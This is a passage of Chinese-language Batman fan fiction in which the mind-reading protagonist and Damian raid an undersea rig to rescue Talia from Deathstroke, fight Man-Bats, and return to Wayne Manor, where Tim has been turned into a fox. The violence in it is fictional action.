“哎，救人的感觉怎麽样？”卡修斯学着他之前的样子，戳了戳达米安的肋骨。 “放肆！” 达米安抖了一下，压低声音怒喝一声。 “说说看嘛。”卡修斯很想揉揉他的脑袋，但又怕小孩再次炸毛，只好作罢。 “不怎麽样，麻烦死了，多管闲事！” 达米安斥道。 卡修斯马上回头看向后座，发现同样戴着降噪耳机的母女两人神色如常，不像是听到达米安说话的样子。 “我这儿能控制耳机的通信线路，你怎麽什麽都不懂。”达米安又对缺乏常识的宠物表示了鄙夷。 卡修斯没理他，开始研究自己的手机，然后发现根本没信号。 达米安被卡修斯给蠢笑了。 “吱吱不会不知道高空飞行根本不会有信号的吧，更别说我们现在还在雪山峡谷中了。不过看他犯蠢还挺有意思的。” 卡修斯停下自己摆弄手机的动作，开始瞪他。 达米安心情愉悦地说：“继续啊，怎麽了，多试试，说不定就有信号了呢？” 你们这个世界都有外星人了，飞在峡谷里的直升机难道就不能有信号吗？ 达米安欣赏了一会儿卡修斯敢怒不敢言的眼神，终于大发慈悲的给他展示了直升机上的卫星电话。 “你想打给谁？”他得意地说。 卡修斯拍开他的手，自己拨了号，很快，红头罩的脸就占满了整个屏幕。 “恭喜你啊，还活着。”红头罩正坐在一个老板椅上，两条腿嚣张的翘在桌子上，卫星电话的屏幕上除了能看到他的半张脸，还能看到他的半个鞋底。 红色头盔和屏幕边缘处的缝隙里，有半个穿着白大褂的模糊身影，正一蹶不振地坐在远处的实验台旁边。 后座的女孩眼尖的认出了那是爸爸的身影，立即凑上前大喊了一声：“爸爸！” 那个背影僵直了一瞬间，然后猛地推开椅子，扑到红头罩的身后。 “弗朗辛！瑞贝卡！” 因为太激动了，朗斯特姆教授竟然将红头罩连人带椅子一把推到了屏幕外面。 达米安根本不想忍耐，直接爆发出一连串大声的嘲笑。 红头罩骂骂咧咧地从椅子上站起来，远远地对着镜头竖了个中指，但他并没有和朗斯特姆博士抢镜头，而是远处自语道：“这回老头子可欠了我个大的。” 镜头之外响起了另一个非常有礼貌的老年男性声音。 “希尔先生，感谢您对哥谭的帮助，以及对无辜人士的救助，还有这位……” 阿尔弗雷德的声音顿了一下，虽然他不在镜头之中，但还是看到了达米安那和布鲁斯惊人相似的眉眼。 他一时间完全忘记了自己接下去该说些什麽。 卫星信号这边的女孩用轻快的声音说：“他是罗宾！” 红头罩将半个脑袋探进镜头，声音怪异地反问：“你说他是谁？” “罗宾啊！” 瑞贝卡理所当然的说。 “我没说过我是罗宾！”达米安愤愤地说。 瑞贝卡抽了口气，捂住嘴，冲卡修斯眨了眨眼：“啊，对了，我忘了你们要保护自己的秘密身份。对不起……” 红头罩嗤笑一声，没发表任何评价。 卡修斯本想问问罗宾和夜翼那边的情况，有没有找到蝙蝠侠，但介于两边朗斯特姆一家都在这儿，他只得暂时作罢。 他也知道镜头之外的阿尔弗雷德为什麽突然沉默，但达米安的身份不该由他来介绍，卡修斯只能说：“至于这位飞行员，事情结束后，他也许会亲自拜访。” 阿尔弗雷德明白他说的话是什麽意思，温和地回应道：“好的，我很期待。” 这边朗斯特姆博士在确认过妻女的平安后，终于开口道：“谢谢，谢谢你们，我还以为这次死定了，我自己死不足惜，只是连累妻女，让我……” 卡修斯打断了他的情绪宣泄，直接说道：“教授，我需要你现在就开始做人蝠病毒的解药，能做多少做多少，我们现在去的地方，至少有成百上千的人感染了这种病毒。” 朗斯特姆博士点头：“我一定会竭尽全力！只是，这麽大剂量的药剂，要怎麽运送……” 阿尔弗雷德本想开口，让蝙蝠机运送解药，但红头罩先一步抬手，示意管家先别说话。 “我有两个朋友……” 他话还没说完，卡修斯的眼睛就亮了起来。 “对哦，你有外星飞船！” 红头罩眯起眼：“你怎麽知道的？” “什麽？你个僵尸从哪儿骗来的飞船？！”一直没说话的达米安突然出声，语气相当不服气。 红头罩“嘁”了一声，走近镜头，对着卡修斯说：“你的信息获取渠道，我们回来再算，记得，你又欠了我一次，想想该怎麽还。” 反正虱子多了不痒债多了不愁，卡修斯已经完全躺平了，非常厚脸皮的说：“既然如此，要不你再帮我个忙……你看，我现在也没什麽趁手的武器，我发个清单给你，你让你朋友一块儿给我送过来？” “滚！再见！” 杰森暴躁的挂断了电话。 女孩好奇地和卡修斯对视了一会儿，才不确定地说：“刚才那个……是红头罩吗？” “你认识他？” 卡修斯和达米安异口同声地问。 瑞贝卡点了点头：“我们被丧钟带走之前，就听说哥谭新来了个黑邦老大，和其他黑邦不一样的是，他会庇护哥谭的孩子。虽然外面传言说红头罩杀人不眨眼，但就凭这一点，我觉得他不是坏人。” 达米安重重哼了一声：“只有人渣才会对孩子动手，那个僵尸只不过做了正常人该做的事，这也值得吹捧，说明哥谭确实如同祖父说的，烂到骨子里了。” “我那素未谋面的父亲也不像母亲说的那麽厉害嘛，如果是我的话，三天之内必然肃清那里的全部垃圾。” 卡修斯对此不发表任何意见。 过了一会儿，卫星电话又打进来了。 无法忽视的红色再次占满了整个屏幕。 “地址给我发过来！这麽远，我可听不到你心里在说什麽！” 说完红头罩也不给卡修斯说话的机会，再次挂断了信号。 达米安狐疑的看着卡修斯：“他什麽意思？” 卡修斯装傻：“不知道啊。” 达米安瞪了他一眼，没有继续质问。 “我会自己弄明白的，要是被我发现隐瞒任何事，呵，你就等着选笼子吧。” 达米安在心里冷酷的说。 卡修斯：刺客联盟真不是个利于青少年健康成长的地方，小小年纪动不动就要把人关笼子，真的太抽象了。 直升机没多久就飞过苏格兰，停在了外赫布里群岛的临时机场。这里不得不夸夸管家，不愧是DC最强管家侠，不到半个小时的工夫，他就已经办好了直升机入境苏格兰的各项事宜，甚至为他们解决了外赫布里群岛的停机坪问题。 等到了码头，更是有一艘快艇等在那里。 阿尔弗雷德甚至联系了国际刑警，在他们正式出发前往苏格兰之前就让刑警接管了朗斯特姆妻女的护送回国事宜。 “那个叫潘尼沃斯的老头，是韦恩庄园的仆人吗？他还挺有用的。”达米安看着装满“神秘物资”的快艇，对宇宙最强管家表示肯定。 卡修斯：“他不是仆人，是韦恩庄园整个食物链顶端的男人。” 到时候你就知道了。 “TT。” “父亲御下不严，居然让一个仆人爬到他头上，看我以后怎麽管教这些欺主的恶仆们！” 达米安在心里暗暗发誓。 卡修斯：你开心就好。 他从快艇里的防水包里翻出一个望远镜，朝着远处若隐若现的油井钻塔望过去。 钻进平台的轮廓清晰显示在这台军用望远镜的镜片上，十二座机枪塔在钢架上缓缓转动，探照灯也时不时掠过海面的波纹。 达米安拿过望远镜观察了一下，立即下决定道：“我坐快艇正面强攻，吸引火力，你游过去，悄悄潜入。” 卡修斯：“不好意思，仓鼠是不会游泳的。” “你怎麽这麽没用！”达米安怒道。 卡修斯会游泳，但在大海里游个几千米还不如直接杀了他来的痛快点。 他宁愿在快艇上吸引火力，至少死的比较英勇。 达米安恶狠狠的从装备里扒拉了半天，发现里面只有一件潜水服，还是他的尺寸，像是送装备的人知道卡修斯绝对不会下水似的。 达米安不想承认，但不得不说，陶德真的非常了解他的仓鼠。 不过他是绝对不会把饲养权让给陶德那个僵尸的！ 完整听完达米安心声的卡修斯：…… 有没有一种可能，我比较喜欢当一只自由自在的野生仓鼠呢？ “正面强攻对你来说有点勉强，要不然我还是自己……”达米安一边说，一边往潜水服里塞各种武器。 “放100个心吧，实在不行我还可以调用超人。” 达米安瞪他一眼，显然对他的后备方案十分鄙夷。 快艇已经停在了海面上，这里靠近钻井平台，但也并不会被上面的瞭望人员直接发现。 达米安从快艇侧面跳了海，卡修斯一直盯着那个小小的身影，直到他在自己的视野中变成一个看不清的小点。 他检查了一遍防弹衣，又把装满诱导弹的背包甩上，再次启动快艇，朝着钻进的另一边靠过去。 按下遥控器的瞬间，数枚热源信号弹从快艇上发射出去。 机枪塔台齐齐调转方向，子弹像不要钱似的朝他倾泻下来。 他蜷缩在防弹挡板之后，不管不顾的朝着刺客最多的那个方位直直开了过去。 卡修斯在快艇撞上钻井之前就背着防水袋直接跃入怒涛，又射出钢索，“咔”一声扣住了输油管侧面的金属栏杆。 巨大的爆炸声让整个钻井平台跟着晃动了一下，最低那层平台上的刺客被爆炸逼的直接跳了海，又被卡修斯按住脖子，快速割开了喉咙。 鲜血迅速和海水融为一体，卡修斯冷漠的松开手上的尸体，转身攀上了井架栏杆。 他想要快点解决这一切。 和达米安呆的越久，他发现自己对杀人越发无动于衷。 也不知道哥谭现在到底怎样了。 他真的非常需要一些正能量。他不想变成一尊对生命毫无敬重的杀戮机器。 第65章 你是恶魔的馈赠 攀上40米高的井架对负重几十斤装备的卡修斯来说还是艰难了些，但他还是做到了。 据厄布的心声说，这里是拉尔斯活着的时候，突然弃用的一个海上钻井。但在卡修斯看来，这个钻井的外部维护的相当好，一点也不像是一个废弃油井。 卡修斯虽然大致了解剧情，但毕竟过去的时间太久了，他已经记不清这里到底有什麽，只能猜测，这里绝对不是什麽废弃的油井。 他一边攀爬，一边解决沿途的守卫，竟然还有心思苦中作乐的想，原来人的潜能真的能在极限中不断地被开发。三天前的他绝对想不到，三天后的自己居然能连夜爬雪山，杀刺客，再从雪山无缝衔接海上战斗。 当他在第三层平台停顿喘息时，突然旋身甩出袖剑。 剑刃穿透两名刺客的咽喉，他另一只手用力推向对方胸膛，尸体重重撞上下方井架平台，又直直落入海面。 卡修斯垂眼往下看，那些刺客的身体很快被海浪掩埋，失去了踪迹。 “外面清理干净了，你那边怎麽样？”他按着耳麦汇报道。 杀完外面的人，他都没有看到丧钟出现，卡修斯猜测应该是达米安先遇到了他。 果然，达米安的声音混合着子弹出膛的声音：“我们在海底！” “啊！” 卡修斯听到达米安发出一声短促的痛苦叫声。 “叫人来送人头吗？” 卡修斯听到一个中年男人阴冷又低沉的嘲笑声。 “你的头才是马上不保了，垃圾！”达米安阴沉地回怼。 通信发出一串杂音，彻底失去了信号。 卡修斯骂了句脏话，绕着平台转了半圈，推门进了钻井内部。 卡修斯隐在暗处，看到更多的刺客朝着电梯和楼梯的位置跑去，都是在下行。 卡修斯从通风口悄悄潜入电梯井，将炸弹胶涂在电梯的缆绳上，随后又退了出去，隐蔽在了远处。 看到电梯门缓缓关上的时候，他按下了手中的按钮。 电梯井里传来巨大的闷响声引起了其他人注意，他们赶忙跑过去一看，发现电梯已经直直坠入最底部。 卡修斯端着枪瞄准刺客们的后脑，枪声突突突地响起，他一举打完一盒弹匣里面的所有子弹。 还没来得及下去的刺客纷纷朝他冲来，卡修斯直起身，换了个弹匣，继续突突。 不愧是红头罩啊，热武器管够。感谢大佬送的军火库。 生产工具提高生产力简直是至理名言，在重火力的碾压下，目所能及的刺客很快被他清理干净。他再次走进电梯井，朝着黑洞洞的下方看了一眼。 电梯井里传来隐约的枪声和打斗声，底部还隐隐泄露出一些微弱的绿色光芒。 卡修斯深吸一口气，将袖剑卡进井壁缝隙，另一只手扶着井壁，跳进电梯井，快速滑向底部。 越往深处，卡修斯越能感觉到海水的腥咸味道，其中还混合着硫磺和另一种令他熟悉的气味。 大概一分钟之后，他的脚底终于接触到实地。 下面是被摔烂的电梯和数十具尸体，卡修斯拨开挡路的尸体，再次将匕首卡进已经变形的接缝处，蹬着井壁将门撬开。 海底钻井的景象在他面前展现开来，三十米高的岩洞顶部垂着密密麻麻的钟乳石，它们都被底部一个还冒着气泡的绿色池子映出悠悠绿光。 达米安一刀划过一个穿橙黑色制服，戴着面罩的男人的胸口，他躲闪不及，制服前胸瞬间被划开，连带着翻出鲜红色的血肉。 男孩左肩的绷带也渗着血，白色罩袍已经被丢到一边，露出一身全黑，只在小臂和绑腿处点缀着绿色纹样的刺客服。但他双臂的绿色绑带都已经被鲜血浸透，刺客服裂口处也能看到翻卷的皮肉。卡修斯看着这些伤口，觉得达米安现在还能站着奋勇对敌简直是医学奇迹。 卡修斯看着对方一双眼睛，一时不敢确认他到底是不是丧钟。 男人也好不到哪儿去，他的橙色面罩碎了一半，露出他其中一只眼睛，嘴角还挂着血丝。 “斯莱德，你的死期到了。”达米安说。 嗯？还真的是丧钟。不过这个丧钟还没变成一只眼，害得他半天没敢认。 “就凭你这个帮手？” 丧钟笑着反问。 “真没想到居然是他，一个实验耗材居然还活着。” 卡修斯听到丧钟的心里这样说。 怎麽是个反派就都认识他，而且听他们的心声，感觉这具身体以前的经历应该不是那麽美妙。 “你干掉了这里所有的刺客？” 丧钟似是想停下来和卡修斯聊聊天，但达米安完全不给他这个机会，拎着刀冲了上去。 丧钟立即应战，但他仍旧分出心神来，跟举枪对准他的卡修斯说话。 “真有意思，上一次我见到你的时候，你还是个只会逃跑的废物呢。” 丧钟一边笑一边说。 “这一身的杀人术，到底是在塔利亚手底下死了多少次才练就的？” “住嘴！吱吱，杀了他！” 达米安一边猛攻，一边高声喊道。 “拉尔斯把你当做试验品，塔利亚把你当做耗材，这个残暴的小崽子叫你什麽？吱吱？看来你是他的宠物？奥古一家这样对你，你居然还心甘情愿的跟着他，你到底是受虐狂，还是失忆了？” 丧钟当然不会住嘴。 卡修斯犹豫了。 他承认，他被丧钟说的话动摇了。 他扣着扳机的手指迟迟没办法按下去。 “哦，看来你确实忘记自己身上发生过什麽了。” “你可以告诉我。” 卡修斯冷漠地说。 达米安的攻速更快了，丧钟不再说话，全身心地投入到与男孩的战斗中。 卡修斯看了眼身边的绿色池子，不知道为什麽，他居然知道，这是一个拉撒路池。 这里除了打斗声，还有一些零碎的，不知名的声音。卡修斯循着声音抬头，看到岩洞顶部一双双泛着红光的眼睛，那里密密麻麻的全是人蝠。 “既然你选择帮这个小崽子，那也没活着的必要了。” 丧钟挡开达米安的刀，对着倒挂在钟乳石的人蝠们大声命令道：“开饭了，宝贝们！” 人蝠们接到命令，张开翅膀，朝着卡修斯和达米安的位置俯冲下去。 卡修斯没时间再想其他，第一时间甩出了特制的蝙蝠镖——这是他特意要求阿尔弗雷德帮忙准备的。 三枚蝙蝠镖飞旋而出，插进石头与石头之间的缝隙里，蝙蝠镖中心嵌入的声波发生器蓝光闪动几下，最后保持了长亮。 高频声浪炸开的刹那，人蝠群茫然地停住一会儿，随即发出婴儿啼哭般的尖啸。 他们互相撕咬着撞向电梯井——这里是目前唯一通往外界的出口。 丧钟抽出腰间的枪去射那三枚声波发生器，达米安看他举枪的瞬间，一个飞扑，跳起来冲过去阻止他。 卡修斯也举枪瞄准了丧钟。 两人同时开枪，丧钟在子弹出膛前突然调转枪口朝向卡修斯。 因为穿着防弹衣，卡修斯没可以刻意闪避，而是坚定地扣动扳机。 但丧钟的改装枪用了。9的AP弹，直接打穿了卡修斯的防弹衣，子弹嵌入他的肩膀。 “嘶——” 卡修斯被震的后退两步，他的子弹也打中丧钟的轻甲，但并没有穿透。看来他的制服使用了和凯夫拉差不多的防弹材料，大概也只有冷兵器近身才伤的了他。 “吱吱！” 达米安看到他中弹，眼睛立刻就红了。他怒吼一声，像是吃了菠菜似的，浑身再次充满了力气。 “给我去死！” 金属碰撞产生的响声更密集了。 不知道为什麽，卡修斯莫名其妙地有点感动。 “去找我母亲！”达米安高声喊。 “她在这座海底岩洞最隐秘的监牢，就算找到了又能怎样，没有我的虹膜数据，照样进不去。” 卡修斯将身上的装备都卸下来，先找出止血绷带将伤口堵住，又在剩下的装备里找了找，终于找出一把巴·雷特。 他填好弹，端起枪，对准了丧钟。 丧钟一转头就看到卡修斯手中的大家夥，他心里一惊，“等……” 还没等他说完，“砰——”一声。 卡修斯随着后坐力后退了几步，枪托撞到伤口，然他的脸色又白了几分。 “多灾多难啊！”他自语道。 好像每次中弹都在同样的位置，也不知道这些子弹是不是都商量好的。 达米安看到卡修斯拿出重武器的时候，就已经和丧钟拉开距离……50BMG的全金属穿甲。弹擦着丧钟的侧腰打了出去，轰塌了他身后的一大片岩石，被子弹蹭到的他都被轰出去好几米远。 丧钟捂着血流如注的伤口，趴在地上半天起不来。 卡修斯在心里再次感谢了红头罩的慷慨，他亲吻了一下枪管，然后放下枪，走近已经被达米安用刀尖抵住咽喉的丧钟。 “我母亲在哪儿！不说的话，就连你一块儿炸掉这儿。” 丧钟抽着气说：“动手吧，杀了我，你永远也找不到塔利亚。” 然后他转头看向卡修斯。 “没想到最后居然栽在你手里。你和我第一次见到的时候，完全不一样了。塔利亚把你教的很好。” 卡修斯盯着他的脸没说话。 “吱吱。” 达米安看着他，开口唤他名字。 丧钟又笑了一声，咳出一口血。 “你还记得你叫什麽吗？” 丧钟和达米安的心声一起在他的脑海里响起。 ““谢谢你告诉我拉撒路池的具体位置，现在告诉我，你叫什麽名字，也许我能带你离开这儿？” “他叫我CS-02。求你帮我逃出这里，或者……帮我报警！” “带着你，我可没办法悄无声息地离开这儿，不过还是感谢你的情报，建议你下辈子不要相信手里有枪的人。”” ““母亲，我给他起名叫吱吱。” “他说什麽？” “他能说什麽？仓鼠又不会说话。” “随你，儿子。”” 卡修斯忽然觉得浑身泛起一阵难言的疼痛，仿佛自己的血肉和灵魂在被一遍遍撕碎，重组。 “我会杀了你的！你杀了我祖父，折磨我的母亲，你以为你还会活着吗？！” 达米安已经回神，他侧移一步，挡住丧钟注视卡修斯的视线，厉声对他说。 “那就动手，还在废话什麽？”丧钟嗤笑。 达米安看向卡修斯。 “母亲在哪儿？” 当初面对厄布的时候，也是卡修斯告诉了他丧钟的位置，他不想探究卡修斯是怎麽知道的，只希望这次也能得到想要的答案。 电梯井那边传来隐约的细碎的爆裂声。 卡修斯指了指岩洞的一个方向，对达米安说：“那里有逃生舱，你先走。” “不行！我必须要找到母亲！”达米安怒道。 “我会让他说的，但是你得先走。”卡修斯不容拒绝地说道。 达米安盯着他看了一会儿，随后收刀入鞘：“吱吱，我没有骗过你，你也不能骗我。否则我不会原谅你的。” 说罢，他转身离开了。 卡修斯蹲在丧钟面前，缓声问道：“是你杀了拉尔斯吗？” 丧钟的脸色因为失血，已经非常苍白，但他仍然强撑着不想输掉气势。 “当然。怎麽，你也要报仇？为你的仇人。” 卡修斯摇了摇头：“既然你杀了拉尔斯，那我就不跟你计较当初杀CS-02的事了。” 丧钟惊讶地瞪大眼睛：“你……” 他话没说完，卡修斯手起刀落，剜下了他的一只眼睛。 “啊——！” 丧钟再次惨叫出声。 “我不杀你，就当报答你替我杀了拉尔斯。但也不会救你，因为你杀了CS-02。能不能活着，看你自己吧。” 说着，卡修斯站起身，拿着他的眼睛，朝他身后岩洞深处的石柱走去。 卡修斯转动石柱，岩石的背面被打开，露出一个虹膜锁，卡修斯举起丧钟的眼珠扫描了一下，厚重的石壁缓缓打开了。 塔利亚被四肢固定，锁在岩石上，她的身上是被用过刑的痕迹。 女人缓缓抬起头，看到来人后，惊讶的动了动眉毛。 “是你。” 卡修斯走近她，但是没有第一时间帮她解开锁链。 “是我。”他站在塔利亚面前说。 “对达米安倒是忠心，不枉当初他宁愿被罚，也要故意放你走。” “达米安让我带你出去，你说我带个死的你还是活的你？”卡修斯问。 塔利亚疲惫地抬起头：“你是父亲眼里的失败品，不死在训练场，就会死在实验台上，我只是替你选了个不那麽痛苦的死法，不过你现在还活着，也全靠你自己争气。” “失败品？” “谁能想到，受拉撒路池污染的他，居然阴差阳错的达成了父亲一开始的期望呢？” “为什麽要杀我？” 卡修斯又问。 塔利亚看着他的眼睛说：“你活着，我的父亲就不可能真正的死亡。” 卡修斯愣了一下，什麽意思？难道我是拉尔斯的魂器，他伏地魔啊？ “为什麽？”他追问。 塔利亚笑了笑：“这我就不知道了，也许要等到父亲重生的那一天，会亲自告诉你吧。” “他会重生在我身体里？”卡修斯觉得，这是最可怕的猜测。 “你太弱了。无数次的训练，都达不到他的要求。”塔利亚否认。 “布鲁斯本是他看中的容器，但现在，显然他更中意达米安。所以他得死，你也得死。” “我是谁？” 卡修斯忽然问了另外一个问题。 “你曾是父亲的贴身侍卫。”塔利亚神色如常的回答。 但她心里说的确实：“谁知道呢，五年前你突然出现在沙漠里，父亲捡到了你，他说你是恶魔的馈赠。” 卡修斯沉默了一会儿，终于抬腕，用特制的匕首斩断了禁锢住她的锁链。 塔利亚脱力摔倒在地。 “母亲！” 达米安突然从身后一跃而出，立即扶住了塔利亚。 “不是叫你先走？” 达米安奶凶奶凶的转头回望他：“你没有权利命令我！” “不就是不想让我杀丧钟吗？我留他一条狗命，等下次见面的时候，我一定不会放过他！” 他倒是真的没这个想法，支开达米安，主要是想问关于他自己的事。 而且，之前丧钟心里笃定他们为了塔利亚的生死，不会轻易杀他，这间牢房也有一架刚好够两个成年人身量的逃生艇。他本打算乘坐那个逃走的。 但是现在…… 卡修斯无语望天。 电梯井被仓皇逃生的大量人蝠撑裂，海底深处的水压直接冲破裂缝，海水瞬间涌入原本全面封闭的钻井。 塔利亚转动手边的石块，石壁上再次打开一扇门，胶囊式逃生艇出现在三人眼前。 达米安立即看出，这个逃生艇只能坐两个人。 他把塔利亚递给卡修斯：“我可以游上去。” 卡修斯翻了个白眼。 外面的水压能当场把你制成纸片人，从此你和多宝鱼就是兄弟。 “算了，挤挤吧。” 反正你这麽小只，大概能算0.4个成年人，四舍五入一下，约等于两个成年胖子。 达米安从眼神中读懂了他的想法，但现在不是发作的时候，他狠狠瞪了卡修斯一眼，扶着塔利亚先钻进了逃生艇，然后他又钻出来，让卡修斯先上。 卡修斯也没客气，紧挨着塔利亚坐了下来。 塔利亚没有发表任何意见，主要是他被丧钟折磨的够呛，现在也没精力再针对卡修斯。 两人坐好后，达米安也挤了进来，他毫无心里负担的坐在卡修斯的腿上。 卡修斯：…… “塔利亚需要你。” 卡修斯委婉地表示他可以换一个人的腿坐。 达米安已经关闭了舱门。 “我太重了，会给母亲造成二次伤害。” 男孩理直气壮的说。 卡修斯：那你就来伤害我是吧？ 海水涌入牢房之内，逃生艇顺着水流被冲了上去。 隔着舷窗，卡修斯看到水里零星的飘着血水以及散落着人蝠的残肢。 也不知道这些人蝠到底逃出去多少，朗斯特姆教授的解毒剂最终还是用不上了吗？ 逃生舱浮出水面的时候，卡修斯注意到距离他们不远处正停着好几艘搜救艇，他们在不停地打捞落水者。 不停地有人从天空跌入海面。 卡修斯贴着舷窗仰头看，就看到一架黑色涂装的战机绕着从正在坍塌的油田钻井里飞出的人蝠发射“子弹”。被打中的人蝠在半空中恢复成人类的模样，落入水中。 等最后一批解药发射完毕，黑色战机飞到逃生舱上空，底仓打开，从飞机悬下一只捕捞网，直接将他们乘坐的逃生艇捞离海面。 飞机又在油井上空盘旋了一阵，带着逃生艇飞离了这片海域。 等他们再次落地的时候，已经是米国境内。 卡修斯一瘸一拐的从救生舱里爬出来，感觉自己下半身要瘫痪了。 杰森看到他狼狈的样子，露出幸灾乐祸的笑容。达米安用力瞪着他的背影，企图用眼神杀死他。 “怎麽样，哥来的及时吗？” 他将自己粗壮的手臂搭在卡修斯肩上，凑到他耳边问。 卡修斯被他一靠，差点趴下，又被杰森及时扶住。 杰森“啧”了一声，一把将人打横抱起，大跨着步子朝着停机坪上的固定翼私人飞机走去。 “陶德！放下吱吱！” 要不是他还扶着塔利亚，绝对会上去跟他打一架。 “你是谁哥啊，除了迪克，你们几个在我这儿都是臭弟弟！” 卡修斯没力气说话，只能用心声使劲吐槽。 他被公主抱着也懒得抗议，已经累到一个手指头都不想动，更别说走路了。 一上飞机，杰森扔给达米安一个医药箱，让他处理塔利亚和他自己的伤口，他则小心翼翼地将卡修斯放在沙发上，又把沙发弄成仰躺模式。 “你看，没我不行吧。”杰森扯开他的衣领，又剪开被卡修斯自己仓促绑住的止血带，要重新帮他处理伤口。 “麻药，疼。”卡修斯心里说。 杰森又“啧”了一声，他骂道：“真他妈娇气。” 他将药箱里的利多。卡因凝胶涂在他的伤口处，又拿了只镊子，打算直接帮他取子弹。 伤口处的痛感渐渐消退，卡修斯半眯着眼睛，嘴唇微微张开，问道：“布鲁斯还好吗？” 杰森气结：“来救你的是我，你一张口就问别人，信不信我把你从飞机上扔下去？” “你敢！我才要把你扔下去！”后座正在帮塔利亚固定骨折的手腕的达米安大声说。 “嘁，你们的小命都是我救的，跟我说话客气点，还有，大人说话，小孩别插嘴。” 达米安想要冲过去打他，被塔利亚开口阻止。 “安静一会儿，达米安，我头疼。” 达米安冲着杰森哼了一声，又用右手在脖子上比了比，再指了指他，意思是你给我等着。 杰森根本不想理他的挑衅，继续跟卡修斯说：“你怎麽不问问我怎麽样？” 卡修斯掀了掀眼皮：“你怎麽样？” 杰森：“那些人蝠真变态啊，蝙蝠机都差点被他们抓掉下来……” 他滔滔不绝地说了半天，卡修斯完全没有反应，倒是换来达米安几声嗤笑。 杰森停了下来，他不太高兴的说：“你是不是不希望来的是我？” 卡修斯的心情挺复杂，他现在不想接触任何和刺客联盟有关的事，尤其是杰森。按照丧钟和塔利亚心中所想的内容拼凑一下，很有可能，他就是训练杰森的那个“耗材”。 但他现在正在刻意控制自己不要去想这个事。他还不想让杰森听到这些。 看卡修斯始终没回应，他非常不爽的说：“替代品和Diao头已经找到人了，你就放心吧。哼。” 卡修斯的睫毛动了动，又在心里问：“阿尔弗雷德没事吧？” 杰森斜了他一眼：“庄园的安保现在是最高级别的，他也没事。” 卡修斯头一次觉得自己归心似箭。 他急需见到阿尔弗雷德，布鲁斯，提姆，甚至是不太熟的迪克，就算是克拉克·肯特也可以。 “你就不想见我。” 杰森咬牙切齿地说。 卡修斯：“你现在不是正在我眼前麽？” 看在他给自己提供了那麽多制胜装备的份上，他开口哄道。 “呵，你想的这些人，等会下了飞机就能见到，不过替代品麽——” 他拉长语调，故意没说完。 “提姆怎麽了？” 卡修斯问。 杰森脸上带着一种莫名的，大仇得报的快乐：“也没怎麽，你去见了就知道了。” 听他的语气，应该不是什麽大事，卡修斯也就不再问了。 困意袭来，他放心地睡了过去。 等到杰森再次将他推醒的时候，他们已经抵达了韦恩庄园。他是在阿尔弗雷德驾驶的豪车后座醒来的，他的头还枕在杰森的腿上。 “希尔先生，你醒了？辛苦你了，欢迎来到韦恩庄园。” 卡修斯撑着座椅直起身，向着窗外看了看，有点茫然。 “你睡得太熟了，我把你抱下来的。要不是你，我都不来。”杰森一脸嫌弃地说。 “那我可要再次感谢希尔先生适时的困意了。”阿尔弗雷德接话道。 三人下了车，卡修斯揉了揉眼睛，发现另一辆车也停在了他们的车旁边，迪克从驾驶座上下来，打开后座们，塔利亚和达米安从后座出来。 手臂上打着夹板，吊着固定带的布鲁斯正站在大宅门口迎接他们。 他的视线在卡修斯，杰森，塔利亚身上略过一遍，最后停在了那个陌生男孩的脸上。 “达米安，过去吧，那是你的父亲。” 塔利亚说。 达米安走到布鲁斯面前，仰头看了他一会儿。 “父亲，我以为你会更高一些。” “父亲，我以为你会更高一些。” “滴！打卡名场面，嘿嘿嘿。” 看到了大部分自己想要看到的人，卡修斯顿时有种活过来的感觉，连幽默感都死而复生了。 布鲁斯的注意力被卡修斯强行吸引：…… “不过，提姆呢？怎麽没看到他，不会受伤了吧。” 卡修斯心里有一点点担心。 一只火红色皮毛的狗从布鲁斯脚边钻了出来。 它刚想扑到卡修斯身上，半路就被达米安截胡了。 “哪来的狗！吓我一跳！” 卡修斯猝不及防的后退半步。 “好漂亮的狐狸。”达米安将狗抱在怀里摸了摸它柔软的皮毛，然后看着卡修斯说，“这就是你的狐狸？他现在也是我的了。” 卡修斯：…… 啊？这是狐狸？我还以为是狗…… 第66章 bro,快到我碗里来！ 红狐被个陌生小孩抱在怀里，出于野兽的本能，它立即伸爪去挠男孩的脸，但残存的人性让它在最后关头选择了克制，收起了爪尖，只用毛茸茸的手掌拍了达米安的脸一下，又冲他呲了呲牙，四爪并用地挣扎起来。 达米安感受到了狐狸的抗拒，他松开手，红狐立刻从他怀里跳下去，然后顺着卡修斯的裤腿一路爬到他的肩膀上，将自己盘在他的脖子旁边，伸出舌头开始舔卡修斯的脸。 卡修斯躲都躲不及。 “这真的是狐狸？我怎麽还感觉这是只狗啊！” 达米安没再上前，他羡慕地看着和卡修斯亲密交互的狐狸，心里暗下决心，之后一定要好好跟自己宠物的宠物培养感情。 卡修斯：不，这不是我的宠物啊！ 他想要开口解释这个美丽的误会，但阿尔弗雷德先开口了：“看来提姆少爷非常喜欢您呢。” 卡修斯：…… 是我幻听了还是你们疯了？ 他将肩膀上的狐狸抓下来，放在自己眼前仔细观察。狐狸的尖耳朵抖动两下，和提姆如出一辙的水蓝色眼睛冲他眨了眨，张嘴发出“嗷——”的一声嚎叫。明明是野兽，却偏偏要装出一副家养宠物的乖巧来，和提姆扮猪吃老虎的神情简直一模一样。 所以说，我真的不喜欢这个一点也不尊重我唯物主义科学世界观的世界啊！ “这就是你说的‘没什麽大事’？”他转头看杰森。 他正靠在廊柱上无声大笑，肩膀抖得像是触电似的：“能有什麽事？能跑能跳能叫，唯一能称得上是‘大事’的，就是他挠坏了阿尔弗雷德的咖啡机。” 布鲁斯试图替提姆解释：“这不是他的错。为了狐狸的健康，阿尔弗提前取走了机器里的咖啡豆。提姆早些时候试图用爪子按咖啡机的启动键，并且成功了，只是没有咖啡豆的机器无法成功启动而已。他有时无法控制野兽的本性，情急之下才做出了破坏电器的事。” “各位，我们还是不要站在这里聊天了，移步去客厅怎麽样？”阿尔弗雷德在一旁适时地插话道。 院子里的人终于一块儿往屋内走去，杰森从倚靠的廊柱上站直，打算直接离开。 “杰森少爷？” 阿尔弗雷德叫住他。 杰森没回头，一边往庄园外走一边说：“行了，德雷克的笑话我随时都能看，懒得看这种阖家团圆的狗血剧。” 布鲁斯的脚步顿了顿，他回过头，目送杰森离开庄园，才重新抬脚跨进屋子。 卡修斯想说些什麽，发现自己没什麽立场。准确来说，自己现在和杰森离开可能是最好的选择。 但是不可能。 达米安像是看出他的企图，拽着他的袖子：“你不许走！” 已经被他放在地上的狐狸也咬着他的裤腿，把他往屋子里拖。 “进去吧，希尔先生。”阿尔弗雷德也在一旁温和地劝说。 